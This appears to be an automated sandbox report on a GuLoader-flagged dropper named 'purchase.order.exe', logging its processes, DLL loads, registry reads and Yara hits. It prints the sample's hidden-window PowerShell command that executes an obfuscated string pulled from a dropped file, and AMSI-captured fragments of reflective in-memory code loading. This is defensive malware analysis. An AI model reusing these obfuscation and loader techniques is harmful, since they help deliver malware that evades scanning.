File created: C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7608:120:WilError_03

Source: C:\Users\user\Desktop\purchase.order.exe

File created: C:\Users\user\AppData\Local\Temp\nsm43AE.tmp

Source: purchase.order.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Process

Source: C:\Users\user\Desktop\purchase.order.exe

File read: C:\Users\desktop.ini

Source: C:\Users\user\Desktop\purchase.order.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: purchase.order.exe

ReversingLabs: Detection: 18%

Source: C:\Users\user\Desktop\purchase.order.exe

File read: C:\Users\user\Desktop\purchase.order.exe

Source: unknown	Process created: C:\Users\user\Desktop\purchase.order.exe "C:\Users\user\Desktop\purchase.order.exe"
Source: C:\Users\user\Desktop\purchase.order.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden "$Unsolaced207=gc -raw 'C:\Users\user\AppData\Local\Temp\Blankbook85\patchworkenes\resprmiernes\Databehandlende\Pennyroyal.Gri';$Fortolkningssikker=$Unsolaced207.SubString(29825,3);.$Fortolkningssikker($Unsolaced207)
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Local\Temp\Fathoming.exe "C:\Users\user\AppData\Local\Temp\Fathoming.exe"
Source: C:\Users\user\Desktop\purchase.order.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden "$Unsolaced207=gc -raw 'C:\Users\user\AppData\Local\Temp\Blankbook85\patchworkenes\resprmiernes\Databehandlende\Pennyroyal.Gri';$Fortolkningssikker=$Unsolaced207.SubString(29825,3);.$Fortolkningssikker($Unsolaced207)	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Local\Temp\Fathoming.exe "C:\Users\user\AppData\Local\Temp\Fathoming.exe"	Jump to behavior

Source: C:\Users\user\Desktop\purchase.order.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\purchase.order.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\purchase.order.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\purchase.order.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\purchase.order.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\purchase.order.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\purchase.order.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\purchase.order.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\purchase.order.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\purchase.order.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\purchase.order.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\purchase.order.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\purchase.order.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\purchase.order.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\purchase.order.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\purchase.order.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\purchase.order.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\purchase.order.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\purchase.order.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\purchase.order.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\purchase.order.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\purchase.order.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\purchase.order.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\purchase.order.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\purchase.order.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Section loaded: srvcli.dll	Jump to behavior

Source: C:\Users\user\Desktop\purchase.order.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Found suspicious powershell code related to unpacking or dynamic code loading

Source: purchase.order.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: mshtml.pdb source: Fathoming.exe, 00000008.00000001.2634328623.0000000000649000.00000020.00000001.01000000.00000008.sdmp
Source:	Binary string: stem.Core.pdba source: powershell.exe, 00000002.00000002.2642154478.0000000006D9F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: Fathoming.exe, 00000008.00000002.3003389352.0000000021C4E000.00000040.00001000.00020000.00000000.sdmp, Fathoming.exe, 00000008.00000003.2950366409.0000000021901000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: Fathoming.exe, Fathoming.exe, 00000008.00000002.3003389352.0000000021C4E000.00000040.00001000.00020000.00000000.sdmp, Fathoming.exe, 00000008.00000003.2950366409.0000000021901000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mshtml.pdbUGP source: Fathoming.exe, 00000008.00000001.2634328623.0000000000649000.00000020.00000001.01000000.00000008.sdmp

Data Obfuscation

Yara detected GuLoader

Source: Yara match

File source: 00000002.00000002.2661158092.0000000008F37000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: GetDelegateForFunctionPointer((Mailperson220 $Perquisites $Hovmodets), (brugerinformation @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))$global:Cumberer = [AppDomain]::CurrentDomain.GetAssembl
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: DefineDynamicAssembly((New-Object System.Reflection.AssemblyName($Besnare38)), $gardinprdikenernes).DefineDynamicModule($Oplagsmssigt, $false).DefineType($Godkendelsesbestemmelsernes, $Vidje, [System.

Suspicious powershell command line found

Source: C:\Users\user\Desktop\purchase.order.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden "$Unsolaced207=gc -raw 'C:\Users\user\AppData\Local\Temp\Blankbook85\patchworkenes\resprmiernes\Databehandlende\Pennyroyal.Gri';$Fortolkningssikker=$Unsolaced207.SubString(29825,3);.$Fortolkningssikker($Unsolaced207)
Source: C:\Users\user\Desktop\purchase.order.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden "$Unsolaced207=gc -raw 'C:\Users\user\AppData\Local\Temp\Blankbook85\patchworkenes\resprmiernes\Databehandlende\Pennyroyal.Gri';$Fortolkningssikker=$Unsolaced207.SubString(29825,3);.$Fortolkningssikker($Unsolaced207)			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AB225F pushad ; ret	8_2_21AB27F9
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AB27FA pushad ; ret	8_2_21AB27F9
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AE09AD push ecx; mov dword ptr [esp], ecx	8_2_21AE09B6
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AB283D push eax; iretd	8_2_21AB2858
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AB1368 push eax; iretd	8_2_21AB1369

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\Fathoming.exe

Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Users\user\Desktop\purchase.order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
